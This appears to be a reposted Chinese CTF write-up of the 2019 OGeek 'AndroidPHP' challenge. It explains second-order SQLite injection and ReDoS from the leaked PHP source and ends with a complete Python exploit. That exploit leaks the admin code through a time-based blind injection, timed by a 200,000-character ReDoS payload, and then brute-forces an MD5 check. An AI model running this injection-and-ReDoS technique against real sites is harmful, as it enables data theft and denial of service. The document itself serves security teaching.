2019 Ogeek AndroidPHP分析

admin 2024年1月4日23:32:09评论14 views字数 8417阅读28分3秒阅读模式

这个题原本是个安卓逆向+web后端的题,但是web部分很值得学习。
安卓逆向部分参照官方wp
题目复现环境: https://github.com/rama291041610/Jeopardy-Dockerfiles/tree/master/web/2019-ogeek-AndroidPHP

 

这个题目主要考察了二次注入以及ReDos攻击,所以先讲讲这两类漏洞。

考察点

二次注入

相比于一次注入,二次注入更难以被挖掘。顾名思义,二次注入就是两次利用SQL注入的payload从而破坏最终的SQL语句结构实现SQL注入的目的。二次注入是由于在数据插入数据库时,数据中的特殊字符被转义,如php中的addslashes函数(在某些特殊字符前添加\实现转义),插入数据库后,数据被还原。当数据被取出后,对于取出的数据没有再次进行转义过滤,导致数据再次被新的SQL语句引用的时候,就可破坏其结构,从而触发SQL注入。

2019 Ogeek AndroidPHP分析

以这个题为例,首页提示源码泄漏,目录为/html.zip
审计源码,注册处存在过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//index.php
function register()
{
    if($_POST['username'] && $_POST['password'] ) {
        $username = addslashes($_POST['username']);
        $password = md5($_POST['password']);
        if(strlen($username) < 3)
            die('Invalid user name');
        if(!$this->is_exists($username)) {
            $db = new Data_db();
            $sql = "select max(id)+1 from users";
            @$ret = $db->querySingle($sql);
            if(!$ret)
                return false;
            $nid = $ret;
            $sql = "insert into users(id,user,pass) values($nid,'".addslashes_to_sqlite($username)."','$password')";
            @$ret = $db->exec($sql);
            if(!$ret)
                return false;
            $sql = "insert into file(userid,email,commentsize) values ($nid,'[email protected]','200')";
            @$ret = $db->exec($sql);
            $db->close();
            if($ret)
                return true;
            else
                return false;
        }
        else {
            die("The username is not unique");
        }
    }
    else
    {
        return false;
    }
}

首先,usernameaddslashes函数过滤,查询php文档,关于该函数解释如下:

addslashes ( string $str ) : string

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。

也就是说,我们在用户名中插入的单引号会被转义为\'
在sql插入语句中,usernameaddslashes_to_sqlite函数二次转义过滤,这个函数定义在config.php中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//config.php
function addslashes_to_sqlite($string)
{
    for($i = 0; $i<strlen($string); $i++)
    {
        if($string[$i] == '\\' && ($i+1)< strlen($string) && $string[$i+1] != '\\')
        {
            $string[$i] = $string[$i+1];
        }
        elseif ($string[$i] == '\\')
        {
            $i = $i + 1;
        }
        else
        {
            continue;
        }
    }
    return $string;
}

这个过滤函数将所有非\\\*形式转换为**形式,也就是针对于sqlite中单引号的转义,单引号转义为''。结合两次过滤,刚好将单引号转义,无法进行注入。
登陆处存在同样过滤,无法注入。

继续审计,comment方法中,将数据库中的username取出,拼接为email插入数据库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//index.php
function comment()
{
    if(!$this->check_login()) return false;
    if($_POST['comment'] ) {
        $comment = $_POST['comment'];
        $sql = "select user from users where id = '".$this->userid."'";
        $db = new Data_db();
        @$ret = $db->querySingle($sql) or 0;
        $db->close();
        $username = $ret;
        $email = $username."@ctf.com";
        $sql = "UPDATE file SET email = '".addslashes_to_sqlite($email)."' where id = ".$this->userid;
        $db = new Data_db();
        @$ret = $db->exec($sql);
        $br_padding = (int)($_POST['padding']);
        $comment_size = strlen($comment);
        $sql = "select commentsize from file where userid = ".$this->userid."";
        $db = new Data_db();
        @$ret = $db->querySingle($sql) or 0;
        $db->close();

此时,由于''存入数据库后,被还原为单引号,取出后只经过了addslashes_to_sqlite转义过滤,并不能对单引号实现过滤,故可在UPDATE语句处进行二次注入,注入点为username

ReDos攻击

ReDos攻击是由存在缺陷的正则表达式引发的。攻击者可以构造特殊的字符串,来消耗服务器资源从而达到Dos攻击的目的。

正则表达式的引擎是有穷状态自动机,而有穷状态自动机又分为两类,一类称为DFA(确定有穷状态自动机),另一类称为NFA(非确定有穷状态自动机)

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入 。由于字符串的每一个字符只需要扫描一遍,速度较快,但是支持的特性较少。
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态 。NFA由于要翻来覆去的对字符串进行匹配,速度较慢,但是支持的特性较多,如惰性匹配,回溯,反向引用。NFA默认使用贪婪匹配,所以有可能导致不停回溯,从而导致性能极差的情况发生。

由于NFA支持更多的功能,现在大多正则表达式的匹配引擎采用NFA,PHP的正则表达式匹配引擎采用的是传统的NFA,也就是说可以进行ReDos攻击。

易导致ReDos攻击的正则表达式一般具有如下特征:

  • 重复分组构造
  • 重复组内出现:1. 重复 2.交替重叠

以本题中出现的正则表达式为例:
题目中一共出现了两个正则表达式,分别为:(<.*>)+, (<(\/)?br>)+

先分析(<.*>)+

2019 Ogeek AndroidPHP分析

分组内贪婪匹配任意字符,也就可以构造分组内无限长但是分组不匹配的字符串,从而导致在搜索过程中,不停的回溯,匹配次数指数级增长。匹配过程如下:

2019 Ogeek AndroidPHP分析

只需要构造足够长的<即可触发ReDos攻击。

再来看看(<(\/)?br>)+

2019 Ogeek AndroidPHP分析

分组内不存在重复,无法进行ReDos攻击。

Solution

回到这个题,由于题目存在源码泄漏,主要就是考察代码审计能力了。
admin.php可以得知,想要获取flag,需要先得到admin表中code字段的值,然后在admin.php提交code即可获得flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//admin.php
<?php
require_once('config.php');

if(isset($_POST['flag'])&& isset($_POST['code'])) {
    if(!isset($_SESSION['admin_code']))
    {
        header('Location: admin.php');
        exit;
    }
    if(substr(md5($_POST['code']),0, 6)!== $_SESSION['admin_code'])
    {
        unset($_SESSION['admin_code']);
        header('Location: admin.php');
        exit;
    }
    $sql = "select code from admin";
    $db = new Data_db();
    $ret = $db->querySingle($sql);
    if ($ret) {
        if ($ret === $_POST['flag'])
        {
            session_unset();
            $sql = "update admin set code='".rand_s(5)."';";
            $ret = $db->exec($sql);
            die($flag);
        }
        else
        {
            unset($_SESSION['admin_code']);
            header('Location: admin.php');
            exit;

        }
    }
    else
    {
        unset($_SESSION['admin_code']);
        header('Location: admin.php');
        exit;
    }
}

这时就可以利用上面发现的二次注入漏洞,但是通过审计,无法将数据直接回显出来,只能考虑盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//index.php
if(( $comment_size + $br_padding) > $max_comment_size)
{
    //移除掉所有html标签
    $comment = preg_replace('/(<.*>)+/','',$comment);
    if(strlen($comment) > $max_comment_size)
    {
        //无论发不发邮件你都能拿到flag,不是吗?
        //send_mail($email,"评论长度超过该用户最大限制!");
        return true;
    }
    else
    {
        $email = "[email protected]";
        //无论发不发邮件你都能拿到flag,不是吗?
        //send_mail($email,$comment);
        return true;
    }
}
else
{
    //只移除br标签
    $comment = preg_replace('/(<(\/)?br>)+/','',$comment);
    $email = "[email protected]";
    //无论发不发邮件你都能拿到flag,不是吗?
    //send_mail($email,$comment);
    return true;
}

所有状态均返回true,并且在/views/profile.v.php中未对comment的返回值进行处理,无法通过返回结果进行bool盲注。同时,在注册时,is_exists函数对username进行了过滤,过滤了RANDOMBLOB以及;。由于sqlite没有sleep函数,可用函数也十分有限,时间盲注基本只能通过RANDOMBLOB生成超长随机串实现,被过滤后也很难进行时间盲注。同时,过滤分号也没办法进行堆叠注入,也就没办法篡改code。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//index.php
private function is_exists($username)
{
    $sql = "select user from users where user = '".addslashes_to_sqlite($username)."'";
    $db = new Data_db();
    @$ret = $db->querySingle($sql);
    $db->close();
    if($ret)
        return true;
    else
        if(preg_match("/(RANDOMBLOB)|;/is",$username))
            return true;
        return false;
}

再次回到上面comment方法中的判断逻辑,其中,$comment_size是我们输入comment的长度,$br_padding是我们输入的padding的值,$max_comment_size是从file表中读取的对应用户commentsize字段的值。
$comment_size + $br_padding > $max_comment_size时,可以利用正则进行ReDos攻击,从而导致延时,反之则不会发生延时。

回到上面的注入部分,我们可以进行sql注入的语句是

1
$sql = "UPDATE file SET email = '".addslashes_to_sqlite($email)."' where id = ".$this->userid;

所以,思路已经很明朗了,SQL注入通过条件判断修改file表中commentsize字段的值,然后通过ReDos攻击延时判断输入的查询条件是否成立。
sqlite没有if,但是可以使用case when (bool) then 0 else 200 end,同时sqlite还支持直接比较字符的ascii码,故payload为:

1
', commentsize = (case when (substr((select code from admin),%d,1) < char(%d)) then 0 else 200 end) -- 

我们只需要输入足够大的comment以及合适的padding满足payload即可。

PS:官方wp给出的思路是将code字段的值分批次更新到commentsize,然后修改padding的值,通过延迟判断是否进入第一个分支,从而通过计算padding与comment长度的和得到commentsize的值,进而直接获取到code的值。sqlite没有ascii函数,查了半天手册,发现还有一个unicode函数可用,可以将字符转为ascii码。

拿到code以后,前往admin.php兑换即可,这里有一个md5验证码。

2019 Ogeek AndroidPHP分析

遍历0-1e9的MD5,约有46%的可能获得可行解,若没有刷新验证码重新遍历即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#-*-encoding: utf-8 -*-
import requests
import random
import string
import hashlib
import time
import re

url = "http://192.168.112.132:8081"


def rand_str(length=5):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))


def md5(text):
    return hashlib.md5(text.encode('utf-8')).hexdigest()


def solve_md5(code):
    for i in range(1000000000):
        hash_code = md5(str(i))
        if hash_code[:6] == code:
            return "%d" % i
    return False


class User(object):
    def __init__(self, username, password="123456"):
        self.username = username
        self.password = password
        self.s = requests.Session()
        self.register()
        self.login()

    def register(self):
        payload = {"username": self.username, "password": self.password}
        r = self.s.post(url + "/index.php?action=register", data=payload)

    def login(self):
        payload = {"username": self.username, "password": self.password}
        r = self.s.post(url + "/index.php?action=index", data=payload)


def get_flag(code):
    s = requests.Session()
    r = s.get(url + "/admin.php")
    hash_code = re.search(" === (\\w{6})", r.text).group(1)
    hash_code = solve_md5(hash_code)
    if hash_code:
        r = s.post(url + "/admin.php", data={"code": hash_code, "flag": code})
        print(r.text)


def send(payload):
    user = User(payload)
    payload = {"padding": -199900, "comment": "<" * 200000, "blog": "test"}
    try:
        r = user.s.post(url + "/index.php?action=profile", data=payload, timeout=2.5)
    except:
        return True


def inject(payload):
    global end, name
    char = 1
    name = ""
    while char:
        end = False
        search(0, 129, char, payload)
        char += 1
        if end:
            print(name)
            return name


def search(left, right, char, sql):
    global end, name
    mid = (left + right) // 2
    if right != left + 1:
        payload = sql % (char, mid)
        rep = send(payload)
        # print(payload)
        if rep:
            search(left, mid, char, sql)
        else:
            search(mid, right, char, sql)
    elif right != 1:
        print(char, chr(mid))
        name += chr(mid)
    else:
        end = True
        return


def office():
    code = ""
    for i in range(5):
        payload = rand_str() + "', commentsize = unicode(substr((select code from admin),{},1)) -- ".format(i + 1)
        user = User(payload)
        for j in range(256):
            payload = {"padding": -200000 + j, "comment": "<" * 200000, "blog": "test"}
            try:
                r = user.s.post(url + "/index.php?action=profile", data=payload, timeout=2.5)
            except:
                code += chr(j - 1)
                print(code)
                break
    return code


if __name__ == '__main__':
    #code = office()
    code = inject(
        rand_str() + "', commentsize = (case when (substr((select code from admin),%d,1) < char(%d)) then 0 else 200 end) -- ")
    get_flag(code)


FROM:250.ac.cn

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月4日23:32:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2019 Ogeek AndroidPHP分析http://cn-sec.com/archives/2365598.html

发表评论

匿名网友 填写信息